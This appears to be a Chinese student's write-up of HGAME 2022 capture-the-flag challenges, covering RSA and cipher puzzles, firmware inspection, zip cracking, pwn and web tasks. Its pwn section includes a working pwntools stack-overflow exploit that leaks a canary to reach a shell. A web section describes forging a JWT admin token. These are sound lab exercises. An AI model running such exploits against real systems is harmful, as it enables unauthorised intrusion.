Crypto

Easy RSA

打开 task.py 发现是最基础的 RSA 算法，而且提供了 e 和 p,q ，可以计算 d 的值，然后进行解密。

$de = k\varphi(n) + 1, k \geq 1 \ m = c^d \ mod \ n$

```
def decrypt(c):
    fn = (c[1] - 1) * (c[2] - 1)
    n = c[1] * c[2]
    for k in range(1, 100000):
        d = (k * fn + 1) / c[0]
        if float(d).is_integer():
                m = pow(c[3],int(d),n)
                return chr(m)


if __name__ == '__main__':
    flag = ''
        a = [(12433, 149, 197, 104), (8147, 131, 167, 6633), (10687, 211,
197, 35594), (19681, 131, 211, 15710),
 (33577, 251, 211, 38798), (30241, 157, 251, 35973), (293, 211, 157, 31548),
(26459, 179, 149, 4778),
 (27479, 149, 223, 32728), (9029, 223, 137, 20696), (4649, 149, 151, 13418),
(11783, 223, 251, 14239),
 (13537, 179, 137, 11702), (3835, 167, 139, 20051), (30983, 149, 227, 23928),
(17581, 157, 131, 5855),
 (35381, 223, 179, 37774), (2357, 151, 223, 1849), (22649, 211, 229, 7348),
(1151, 179, 223, 17982),
 (8431, 251, 163, 30226), (38501, 193, 211, 30559), (14549, 211, 151, 21143),
(24781, 239, 241, 45604),
 (8051, 179, 131, 7994), (863, 181, 131, 11493), (1117, 239, 157, 12579),
(7561, 149, 199, 8960),
 (19813, 239, 229, 53463), (4943, 131, 157, 14606), (29077, 191, 181, 33446),
(18583, 211, 163, 31800),
 (30643, 173, 191, 27293), (11617, 223, 251, 13448), (19051, 191, 151,
21676), (18367, 179, 157, 14139),
 (18861, 149, 191, 5139), (9581, 211, 193, 25595)]
    for i in range(0, 38):
        flag += decrypt(a[i])
    print(flag)
```

Matryoshka

最开始没有 hint 的时候，我猜文本对应的是摩斯码，但是如果按顺序翻译就存在无法对应常用字符的片段，就先搁置了一段时间。

后来给的 Hint 2 是 `本题使用了两种置换密码，两种代换密码，四种编码` ，同时还给了 Hint 3：`本题加密步骤：flag → Caeser → ? → ? → Vigenère → ? → ? → ? → Braille` ，就想到了 Braille 后面接的应该是置换密码。因为无法确定行和列，所以我最先考虑的是倒序，就进行了尝试，结果可以正常翻译。得到了下面的这串字符：

> 46,66,42,75,66,45,46,6E,6D,4C,73,36,44,33,73,69,59,74,4C,36,58,32,70,34,
> 69,4E,30,63,64,53,6C,79,6B,6D,39,72,51,4E,39,6F,4D,53,31,6A,6B,73,39,72,
> 4B,32,52,36,6B,4C,38,68,6F,72,30,3D

这串字符中没有超过 F 的字母，让我联想到了16进制，16进制可以用于表示字符，所以我用 ASCII 码对它进行解码，之后再按照提示 `Vigenère:hgame` 解密，得到 *YzBibXZnaHl6X3swUmF6X2d4eG0wdGhrem9fMG9iMG1fdm9rY2N6dF8hcn0=* 。

以“=”结尾，所以就用 base 64 进行解码。得到了 c0bmvghyz*{0Raz_gxxm0thkzo_0ob0m_vokcczt*!r} 。

Caeser 虽然是第一个加密步骤，但是先用它解密也是同样的效果，就得到了 h0gralmde*{0Wfe_lccr0ympet_0tg0r_atphhey*!w} 。

最后一个是置换密码，之前的 flag 的形式都是 hgame{} ，可以通过这一点进行解密。在得到的字符串中寻找 hgame{} ，很容易就能发现这是一个两行的栅栏密码，那么一组就是22个字符，解密后就得到了flag。

English Novel

刚拿到这个题的时候没什么想法。附件里给的原文都是很零碎的，难以和加密后的文章对应。给的脚本可以看出来加密方式类似 Vigenère ，区别是它按照下标对齐。

看了一会产生了一个大胆的想法：用一段原文去百度得到完整的原文，然后再用两段密文去找对应的原文，这样就能得到用于加密的字符串的一部分从而进行解密。然后就开始实施。先百度到了这本小说，叫 Animal Farm 。再去在密文中找两段比较容易和原文匹配上的，进行还原，得到了密钥碎片（? ~~【手动的，因为懒（?】~~ ，然后解密~~【也是手动的，还是懒（?】~~ 。

IoT

饭卡的uno

先去了解了一下 uno，然后拖进 IDA 里看了一下，发现根本没有必要了解 uno（不是。

```
seg000:000005BF aGameF1rst5tep0 db 'game{F1rst_5tep_0F_IOT}',0
```

MISC

欢迎欢迎！热烈欢迎！

关注微信公众号，然后发 `HelloHGAME2022` 就完事了。

这个压缩包有点麻烦

先按照压缩包的注释里写的暴力破解（做完把WinRAR卸载了，印象里注释里提示的是密码是6位数字），就得到了新的压缩包、password-note.txt 和 README.txt，README 里说字典是 password-note，就用字典模式来破解。再利用新的 README 用 ARCHPR 的明文模式破解得到的压缩包。破解之后得到了 flag.png，用 binwalk 把压缩包从图片中分离出来。

我在最后的这个压缩包上卡了一段时间。网络上的伪加密大部分都是三个头标记里的加密方式改其中之一，一般的总结也都是如果只有一个头标记是加密的压缩包是伪加密，着实是没有想到压缩包的三个头标记都改了。把三个头标记都改回去就好了。

PWN

test_your_nc

连上之后直接 /bin/sh，再 cat flag 就完事了。

test_your_gdb

```
$ checksec a.out
[*] '/home/yolande/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

先 checksec，再到 IDA 里看看。发现在 work 函数里有个 gets，还有个 backdoor 函数。显然 ~~【其实是我懒得解释了】~~，是栈溢出漏洞。因为开了 canary，所以还要把 canary 再写回

去。

```
puts("hopefully you have used checksec");
puts("enter your pass word");
read(0, buf, 0x10uLL);
if ( !memcmp(buf, s2, 0x10uLL) )
{
  write(1, v6, 0x100uLL);
  gets(v6);
}
else
{
  read(0, v6, 0x10uLL);
}
```

```
int b4ckd00r()
{
  return execv("/bin/sh", 0LL);
}
```

```
from pwn import *

#test = process('./a.out')
test = remote('chuj.top', 50428)
test.sendafter('enter your pass
word\n',p64(0xb0361e0e8294f147)+p64(0x8c09e0c34ed8a6a9))

test.recv(0x20-0x8)
canary=u64(test.recv(0x8))
test.recv(0x100-0x20)
payload = 'a'*(0x20-0x8) + p64(canary).decode('unicode_escape') + 'a'*0x8 +
p64(0x401256).decode('unicode_escape')
test.sendline(payload)
test.interactive()
```

WEB

easy_auth

一个登录和注册的界面，什么都没有。F12 看了看，发现是通过 JWT 来确认身份的，先尝试注册了一个账号，再登陆，得到了一个 token 。把得到的 token 放到 https://jwt.io/ ，把页面填充的密钥删掉，就发现是密钥正确了，然后修改 UserName 为 admin ，再修改一下 ID ，发起一个把 token 改为修改后的 GET 请求，就得到了 flag 。

蛛蛛...嘿嘿❤我的蛛蛛

做这道题的时候我正好很无聊，前22关是手点的，后面的也是手点的。前22关是盲点，后来打算写爬虫就 F12 看一下，结果发现开了 F12 之后很好点，就点完了。（顶锅盖逃跑

Tetris plus

也很无聊，就打到了3000分，然后它非要暂停告诉我没有 flag 。我为的是 flag 吗，我是真的在玩放松小游戏啊喂。
后来 F12 看代码，发现了一串诡异的注释，让我想到了 JSFuck ，直接复制粘贴丢到控制台，得到了 flag 。

Fujiwara Tofu Shop

一打开就让我先去秋名山，~~【我真的去了，才发现什么都没有】~~ 就改 Referer 就好了。
然后要 AE86 ，一通乱试，发现是改 UA 。
再要树莓味的曲奇，我一时没反应过来，在返回的 header 里发现修改的方式。
汽油，把 0 改为 100。
最后，要伪造 ip ，试了两个最常用的都失败了，之后再百度，试了一下成功了。